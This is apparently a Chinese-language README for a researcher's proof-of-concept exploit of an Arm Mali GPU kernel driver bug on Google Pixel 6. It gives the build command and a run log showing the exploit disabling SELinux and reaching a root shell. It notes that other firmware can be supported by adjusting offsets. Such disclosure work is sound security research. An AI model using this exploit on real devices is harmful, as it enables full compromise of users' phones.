详细分析可在此处找到:here。这是 Arm Mali 内核驱动程序中的一个漏洞,我于 2022 年 1 月提交报告。该漏洞可用于从未受信任的应用域获得任意内核代码执行权限,进而禁用 SELinux 并获取 root 权限。
该漏洞利用已在 Google Pixel 6 上测试,支持从 2021 年 11 月到 2022 年 2 月的补丁级别。通过更改几个镜像偏移量,可以轻松添加对其他固件的支持。作为参考,我使用以下命令在 ndk-21 中通过 clang 编译:
android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang mali_alias.c -o mali_alias
该漏洞利用极少失败,且可以在不导致设备崩溃的情况下重试。如果成功,它将禁用 SELinux 并获取 root 权限。
oriole:/ $ /data/local/tmp/mali_alias
fingerprint: google/oriole/oriole:12/SQ1D.220205.004/8151327:user/release-keys
tracking page 0x6ff794e000
drain 0x6d5b200000
gpu_va[0] 6ff6698000
gpu_va[1] 6ff6695000
alias 0x6ff6693000
overwrite addr : 6ff370051c 51c
overwrite addr : 6de310051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
result 50
overwrite addr : 6ff370051c 51c
overwrite addr : 6de310051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
result 50
oriole:/ #